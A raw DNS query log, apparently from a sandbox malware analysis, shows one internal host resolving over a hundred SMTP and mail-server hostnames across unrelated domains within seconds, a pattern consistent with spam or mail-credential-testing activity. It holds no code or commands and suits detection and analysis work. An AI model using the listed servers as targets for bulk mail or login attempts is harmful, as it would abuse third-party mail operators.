Jun 4, 2024 23:10:55.289417028 CEST	1.1.1.1	192.168.2.11	0xa58b	No error (0)	troyesivan.de		217.160.0.248	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.435607910 CEST	1.1.1.1	192.168.2.11	0xc70e	Name error (3)	smtp.lmmgcorp.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.656908035 CEST	1.1.1.1	192.168.2.11	0xc407	No error (0)	smtp.ish.de	smtp.ish-de.vodafonemail.de		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:55.656908035 CEST	1.1.1.1	192.168.2.11	0xc407	No error (0)	smtp.ish-de.vodafonemail.de		2.207.150.234	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.737616062 CEST	1.1.1.1	192.168.2.11	0xb9cd	No error (0)	mail.nysfam.com		143.95.249.137	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.809112072 CEST	1.1.1.1	192.168.2.11	0x6db0	Name error (3)	rcbgd.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.867512941 CEST	1.1.1.1	192.168.2.11	0xabe9	No error (0)	smtp.homecarenordeste.com.br	smtp-vip.uni5.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:55.867512941 CEST	1.1.1.1	192.168.2.11	0xabe9	No error (0)	smtp-vip.uni5.net		191.6.220.100	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.867512941 CEST	1.1.1.1	192.168.2.11	0xabe9	No error (0)	smtp-vip.uni5.net		191.6.220.99	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.867528915 CEST	1.1.1.1	192.168.2.11	0xabe9	No error (0)	smtp.homecarenordeste.com.br	smtp-vip.uni5.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:55.867528915 CEST	1.1.1.1	192.168.2.11	0xabe9	No error (0)	smtp-vip.uni5.net		191.6.220.100	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.867528915 CEST	1.1.1.1	192.168.2.11	0xabe9	No error (0)	smtp-vip.uni5.net		191.6.220.99	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.955909014 CEST	1.1.1.1	192.168.2.11	0xd8f2	Name error (3)	securesmtp.cunhaeporto.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	mail.rawafed-g.com	pop.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	pop.secureserver.net	pop.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	pop.vox.secureserver.net	pop.us-phx.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.117	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.97	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.240	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.246	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.153	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.247	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.074723959 CEST	1.1.1.1	192.168.2.11	0x795d	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.154	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.120347023 CEST	1.1.1.1	192.168.2.11	0x680a	Name error (3)	out.stu-esg.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.131217957 CEST	1.1.1.1	192.168.2.11	0xef43	Name error (3)	out.sesisenaisp.org.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.225853920 CEST	1.1.1.1	192.168.2.11	0xb5b9	No error (0)	steier-transporte.de		46.30.213.71	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.381002903 CEST	1.1.1.1	192.168.2.11	0x279c	Server failure (2)	mail.telangana.gov.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.381017923 CEST	1.1.1.1	192.168.2.11	0x279c	Server failure (2)	mail.telangana.gov.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.381028891 CEST	1.1.1.1	192.168.2.11	0x279c	Server failure (2)	mail.telangana.gov.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.465673923 CEST	1.1.1.1	192.168.2.11	0xf451	No error (0)	auone.jp		106.162.242.205	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.535648108 CEST	1.1.1.1	192.168.2.11	0xb649	Name error (3)	secure.charly.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.666367054 CEST	1.1.1.1	192.168.2.11	0xd0fe	Name error (3)	securesmtp.bredband.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.668535948 CEST	1.1.1.1	192.168.2.11	0x5598	Name error (3)	securesmtp.fxcmtraders.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.955766916 CEST	1.1.1.1	192.168.2.11	0xfa0f	Name error (3)	out.bruna.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.972754955 CEST	1.1.1.1	192.168.2.11	0x816b	Name error (3)	smtp.pommaz.com.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.987549067 CEST	1.1.1.1	192.168.2.11	0x8030	Name error (3)	securesmtp.struzyna.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.997533083 CEST	1.1.1.1	192.168.2.11	0x2c03	Name error (3)	secure.langdalewills.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.025806904 CEST	1.1.1.1	192.168.2.11	0xa55e	Name error (3)	secure.trinityvc.com.tw	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.025821924 CEST	1.1.1.1	192.168.2.11	0xa55e	Name error (3)	secure.trinityvc.com.tw	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.041043997 CEST	1.1.1.1	192.168.2.11	0xdcc1	No error (0)	sosw-wejherowo.pl		185.208.164.103	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.113907099 CEST	1.1.1.1	192.168.2.11	0x6193	No error (0)	cdtm.de		129.187.254.228	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.238909006 CEST	1.1.1.1	192.168.2.11	0xbbd2	Name error (3)	mail.kpploa.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.343703032 CEST	1.1.1.1	192.168.2.11	0xe28f	Name error (3)	securesmtp.raranride.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.470781088 CEST	1.1.1.1	192.168.2.11	0x554c	Name error (3)	secure.projectasfalis.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.478874922 CEST	1.1.1.1	192.168.2.11	0xc12e	Name error (3)	mail.cityofloveland.org	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.523699999 CEST	1.1.1.1	192.168.2.11	0x3c07	No error (0)	snapp.fr		46.105.57.169	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.629928112 CEST	1.1.1.1	192.168.2.11	0xa90c	No error (0)	touchstn.com		66.228.40.114	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.632246971 CEST	1.1.1.1	192.168.2.11	0xadd1	No error (0)	out.cinebank.de		64.190.63.222	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.655082941 CEST	1.1.1.1	192.168.2.11	0xc861	No error (0)	marcomorelli.com		100.42.51.22	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.762666941 CEST	1.1.1.1	192.168.2.11	0xd0a6	No error (0)	smtp.sgsg.de		94.102.212.171	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.832410097 CEST	1.1.1.1	192.168.2.11	0x8034	No error (0)	mail.infonet.com.br		177.47.177.2	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.893853903 CEST	1.1.1.1	192.168.2.11	0x786b	No error (0)	mtbakervapor.com		148.251.23.27	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.922456026 CEST	1.1.1.1	192.168.2.11	0x9e8c	Name error (3)	out.saboresdelcampo.com.ar	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.029736996 CEST	1.1.1.1	192.168.2.11	0x1365	Name error (3)	mail.vdbhorecadiensten.nl	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.154552937 CEST	1.1.1.1	192.168.2.11	0x6432	No error (0)	mx3.otenet.gr		62.103.147.222	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.258023024 CEST	1.1.1.1	192.168.2.11	0x801c	No error (0)	mail.sol.dk	imap.dka.mailcore.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:58.258023024 CEST	1.1.1.1	192.168.2.11	0x801c	No error (0)	imap.dka.mailcore.net		194.19.134.85	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.258023024 CEST	1.1.1.1	192.168.2.11	0x801c	No error (0)	imap.dka.mailcore.net		185.138.56.213	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.258068085 CEST	1.1.1.1	192.168.2.11	0x801c	No error (0)	mail.sol.dk	imap.dka.mailcore.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:58.258068085 CEST	1.1.1.1	192.168.2.11	0x801c	No error (0)	imap.dka.mailcore.net		194.19.134.85	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.258068085 CEST	1.1.1.1	192.168.2.11	0x801c	No error (0)	imap.dka.mailcore.net		185.138.56.213	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.285943031 CEST	1.1.1.1	192.168.2.11	0xc3d2	Name error (3)	out.blpcollegemasaurhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.286592960 CEST	1.1.1.1	192.168.2.11	0x790c	Name error (3)	itwealthservices.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.318011045 CEST	1.1.1.1	192.168.2.11	0xc76f	No error (0)	mail.monmouthstudents.org		75.2.37.224	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.419727087 CEST	1.1.1.1	192.168.2.11	0xc7f7	Name error (3)	secure.oslearn.com.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.448210955 CEST	1.1.1.1	192.168.2.11	0xd557	No error (0)	smtp.santafe-conicet.gov.ar		200.9.237.5	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.547781944 CEST	1.1.1.1	192.168.2.11	0xad4	Name error (3)	out.pcmonkeys.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.550404072 CEST	1.1.1.1	192.168.2.11	0xe289	No error (0)	mx1.task.com.br		177.93.104.156	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.550404072 CEST	1.1.1.1	192.168.2.11	0xe289	No error (0)	mx1.task.com.br		177.93.104.140	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.550404072 CEST	1.1.1.1	192.168.2.11	0xe289	No error (0)	mx1.task.com.br		177.93.104.136	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.550404072 CEST	1.1.1.1	192.168.2.11	0xe289	No error (0)	mx1.task.com.br		177.93.104.148	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.550404072 CEST	1.1.1.1	192.168.2.11	0xe289	No error (0)	mx1.task.com.br		177.93.104.144	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.550404072 CEST	1.1.1.1	192.168.2.11	0xe289	No error (0)	mx1.task.com.br		177.93.104.152	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.883068085 CEST	1.1.1.1	192.168.2.11	0xc663	Name error (3)	mail.net4use.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.983413935 CEST	1.1.1.1	192.168.2.11	0x60a2	Name error (3)	secure.my-mb.it	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.988554955 CEST	1.1.1.1	192.168.2.11	0xfc85	Name error (3)	securesmtp.fortress.co.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.231594086 CEST	1.1.1.1	192.168.2.11	0x325a	Name error (3)	mail.arista.my	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.356296062 CEST	1.1.1.1	192.168.2.11	0x303e	No error (0)	mail.rwth-aachen.de		137.226.78.60	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.374480009 CEST	1.1.1.1	192.168.2.11	0x230e	Name error (3)	mail.sistemaplug.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.491995096 CEST	1.1.1.1	192.168.2.11	0x7b37	Name error (3)	itelefonica.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.569453955 CEST	1.1.1.1	192.168.2.11	0x841	No error (0)	smtp.hcjmontemor.com.br	mail.ita.locaweb.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:59.569453955 CEST	1.1.1.1	192.168.2.11	0x841	No error (0)	mail.ita.locaweb.com.br		191.252.112.194	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.587775946 CEST	1.1.1.1	192.168.2.11	0x60f6	Name error (3)	out.mprn.mp.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.648390055 CEST	1.1.1.1	192.168.2.11	0xaeea	No error (0)	smtp.mweb.co.za		196.35.198.170	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.775321007 CEST	1.1.1.1	192.168.2.11	0xa5de	No error (0)	mail.ble.pl		144.76.184.43	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.843017101 CEST	1.1.1.1	192.168.2.11	0x23d3	No error (0)	smtp.frontier.com	relay-ftrcom.glb.frontiernet.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:59.843017101 CEST	1.1.1.1	192.168.2.11	0x23d3	No error (0)	relay-ftrcom.glb.frontiernet.net		66.133.129.50	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.882316113 CEST	1.1.1.1	192.168.2.11	0xa963	Name error (3)	com.ssportplus.dice	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.087914944 CEST	1.1.1.1	192.168.2.11	0xccde	Name error (3)	out.seddonhowarth.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.133259058 CEST	1.1.1.1	192.168.2.11	0x5d63	No error (0)	neostrada.pl		80.48.169.1	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.139250040 CEST	1.1.1.1	192.168.2.11	0x6b5e	Name error (3)	out.bishanoi.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.157382011 CEST	1.1.1.1	192.168.2.11	0x321e	No error (0)	ggjiaoyu.com	ggjiaoyu.com.cname1858.yjs-cdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:00.157382011 CEST	1.1.1.1	192.168.2.11	0x321e	No error (0)	ggjiaoyu.com.cname1858.yjs-cdn.com		81.70.207.242	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.256599903 CEST	1.1.1.1	192.168.2.11	0xb81c	Name error (3)	out.bibelstammtisch.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.256639957 CEST	1.1.1.1	192.168.2.11	0x91e1	Name error (3)	secure.fiestabuffet.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.420039892 CEST	1.1.1.1	192.168.2.11	0xcac0	No error (0)	mail.t-email.hu	mail.t-online.hu		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:00.420039892 CEST	1.1.1.1	192.168.2.11	0xcac0	No error (0)	mail.t-online.hu		84.2.46.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.420039892 CEST	1.1.1.1	192.168.2.11	0xcac0	No error (0)	mail.t-online.hu		84.2.44.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.484847069 CEST	1.1.1.1	192.168.2.11	0x693e	Name error (3)	mail.bayerntreuhand.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.526537895 CEST	1.1.1.1	192.168.2.11	0xdbca	Name error (3)	secure.cuttingclub.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.670059919 CEST	1.1.1.1	192.168.2.11	0x3480	Name error (3)	out.efield.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.791986942 CEST	1.1.1.1	192.168.2.11	0xb7f3	No error (0)	smtp.52you.online		43.154.233.224	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.792258024 CEST	1.1.1.1	192.168.2.11	0xdd20	Name error (3)	out.columbus.co	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.844213963 CEST	1.1.1.1	192.168.2.11	0x24f8	No error (0)	educred.ro		89.42.218.39	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.888400078 CEST	1.1.1.1	192.168.2.11	0x978f	No error (0)	mx1.titan.email		52.73.77.51	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.888400078 CEST	1.1.1.1	192.168.2.11	0x978f	No error (0)	mx1.titan.email		34.231.204.167	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.888400078 CEST	1.1.1.1	192.168.2.11	0x978f	No error (0)	mx1.titan.email		52.45.199.183	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.913935900 CEST	1.1.1.1	192.168.2.11	0x3daf	Name error (3)	out.adolphis.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.176640034 CEST	1.1.1.1	192.168.2.11	0xfe33	Name error (3)	securesmtp.mediacall.at	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.334867954 CEST	1.1.1.1	192.168.2.11	0x210b	No error (0)	mail.isc.it		64.190.63.222	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.414077997 CEST	1.1.1.1	192.168.2.11	0x998c	Name error (3)	zaif.express.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.429816961 CEST	1.1.1.1	192.168.2.11	0x6064	No error (0)	securesmtp.rightathomenova.com		216.40.34.41	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.503632069 CEST	1.1.1.1	192.168.2.11	0xb41f	Name error (3)	skada.web.id	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.545949936 CEST	1.1.1.1	192.168.2.11	0x696c	No error (0)	mx1.mailchannels.net		34.209.201.52	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.545949936 CEST	1.1.1.1	192.168.2.11	0x696c	No error (0)	mx1.mailchannels.net		34.217.221.173	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.669078112 CEST	1.1.1.1	192.168.2.11	0xc147	No error (0)	mx2-us1.ppe-hosted.com		148.163.129.51	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.669078112 CEST	1.1.1.1	192.168.2.11	0xc147	No error (0)	mx2-us1.ppe-hosted.com		67.231.154.163	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.683867931 CEST	1.1.1.1	192.168.2.11	0xf519	Name error (3)	securesmtp.northsidebaptist.org.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.748759985 CEST	1.1.1.1	192.168.2.11	0xc509	No error (0)	poso.mtn.co.bw		213.193.43.68	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.810144901 CEST	1.1.1.1	192.168.2.11	0xf125	Name error (3)	out.lasblo.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.263648033 CEST	1.1.1.1	192.168.2.11	0x7378	Name error (3)	smtp.arrobanetbandalarga.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.322607994 CEST	1.1.1.1	192.168.2.11	0x8419	No error (0)	mxl.mundo-r.com		94.100.132.8	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.591284037 CEST	1.1.1.1	192.168.2.11	0xd0ac	No error (0)	ex2.mail.ovh.net		162.19.129.194	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.591284037 CEST	1.1.1.1	192.168.2.11	0xd0ac	No error (0)	ex2.mail.ovh.net		176.31.154.146	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.639730930 CEST	1.1.1.1	192.168.2.11	0xbc8e	Name error (3)	out.fortaleza.inf.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.681443930 CEST	1.1.1.1	192.168.2.11	0x9a9c	No error (0)	mail.iowatelecom.net	mail.iowatelecom.syn-alias.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:02.681443930 CEST	1.1.1.1	192.168.2.11	0x9a9c	No error (0)	mail.iowatelecom.syn-alias.com		129.153.232.136	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.705467939 CEST	1.1.1.1	192.168.2.11	0x9cd9	No error (0)	brturbo.com.br		50.116.87.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.705611944 CEST	1.1.1.1	192.168.2.11	0x80e3	No error (0)	us2.mx3.mailhostbox.com		162.215.3.25	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.862541914 CEST	1.1.1.1	192.168.2.11	0x2b8a	No error (0)	asiainnovations.com		43.156.88.241	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.863153934 CEST	1.1.1.1	192.168.2.11	0xf40d	Name error (3)	mail.f470ed6e02.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.994323015 CEST	1.1.1.1	192.168.2.11	0x69fa	Name error (3)	securesmtp.z.com.ar	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.017858982 CEST	1.1.1.1	192.168.2.11	0x346f	Name error (3)	out.afg.hs-anhalt.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.236068010 CEST	1.1.1.1	192.168.2.11	0x4f20	No error (0)	microarea-it.mail.protection.outlook.com		52.101.73.16	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.236068010 CEST	1.1.1.1	192.168.2.11	0x4f20	No error (0)	microarea-it.mail.protection.outlook.com		52.101.73.4	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.236068010 CEST	1.1.1.1	192.168.2.11	0x4f20	No error (0)	microarea-it.mail.protection.outlook.com		52.101.68.5	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.236068010 CEST	1.1.1.1	192.168.2.11	0x4f20	No error (0)	microarea-it.mail.protection.outlook.com		52.101.68.10	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.236068010 CEST	1.1.1.1	192.168.2.11	0x4f20	No error (0)	microarea-it.mail.protection.outlook.com		52.101.73.11	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.236068010 CEST	1.1.1.1	192.168.2.11	0x4f20	No error (0)	microarea-it.mail.protection.outlook.com		52.101.68.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.236068010 CEST	1.1.1.1	192.168.2.11	0x4f20	No error (0)	microarea-it.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.253385067 CEST	1.1.1.1	192.168.2.11	0x1df0	Name error (3)	out.estpo.bf	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.302448988 CEST	1.1.1.1	192.168.2.11	0x34d	No error (0)	smtp.furlan.com.br	pop.furlan.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:03.302448988 CEST	1.1.1.1	192.168.2.11	0x34d	No error (0)	pop.furlan.com.br	mail.ita.locaweb.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:03.302448988 CEST	1.1.1.1	192.168.2.11	0x34d	No error (0)	mail.ita.locaweb.com.br		191.252.112.194	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.510595083 CEST	1.1.1.1	192.168.2.11	0x41fa	No error (0)	mail.baritextilemills.com		72.18.132.28	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.544975996 CEST	1.1.1.1	192.168.2.11	0x6032	Name error (3)	out.streetzermusic.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.676942110 CEST	1.1.1.1	192.168.2.11	0xef23	Name error (3)	afasf.afasf	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.681586981 CEST	1.1.1.1	192.168.2.11	0x3ad4	Name error (3)	secure.estudante.sed.sc.gov.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.686965942 CEST	1.1.1.1	192.168.2.11	0x7faa	Name error (3)	out.computerhighway.ch	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.804200888 CEST	1.1.1.1	192.168.2.11	0xfc74	Name error (3)	flybondivirtual.com.ar	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.850956917 CEST	1.1.1.1	192.168.2.11	0x158d	Name error (3)	smtp.fastmail.tr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.876502991 CEST	1.1.1.1	192.168.2.11	0xc4bd	No error (0)	mx11.gmoserver.jp		157.7.156.164	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.922317982 CEST	1.1.1.1	192.168.2.11	0x5c0c	No error (0)	officeteam.co.uk		34.246.118.232	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.943281889 CEST	1.1.1.1	192.168.2.11	0x10ca	Name error (3)	mail.timezoneit.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.061197042 CEST	1.1.1.1	192.168.2.11	0xcc51	Name error (3)	securesmtp.ontariosewingautomation.ca	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.073628902 CEST	1.1.1.1	192.168.2.11	0xc517	No error (0)	landfillgas-com-au.mail.protection.outlook.com		52.101.151.5	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.073628902 CEST	1.1.1.1	192.168.2.11	0xc517	No error (0)	landfillgas-com-au.mail.protection.outlook.com		52.101.149.1	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.073628902 CEST	1.1.1.1	192.168.2.11	0xc517	No error (0)	landfillgas-com-au.mail.protection.outlook.com		52.101.149.0	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.073628902 CEST	1.1.1.1	192.168.2.11	0xc517	No error (0)	landfillgas-com-au.mail.protection.outlook.com		52.101.149.9	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.192991018 CEST	1.1.1.1	192.168.2.11	0xc8da	Name error (3)	out.favel-lyon.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.200695038 CEST	1.1.1.1	192.168.2.11	0xcdc0	Name error (3)	out.org.lichess.mobileapp	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.453162909 CEST	1.1.1.1	192.168.2.11	0x8aa6	No error (0)	us-smtp-inbound-2.mimecast.com		207.211.30.141	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.453162909 CEST	1.1.1.1	192.168.2.11	0x8aa6	No error (0)	us-smtp-inbound-2.mimecast.com		207.211.30.242	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.453162909 CEST	1.1.1.1	192.168.2.11	0x8aa6	No error (0)	us-smtp-inbound-2.mimecast.com		205.139.110.221	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.453162909 CEST	1.1.1.1	192.168.2.11	0x8aa6	No error (0)	us-smtp-inbound-2.mimecast.com		205.139.110.141	A (IP address)	IN (0x0001)	false
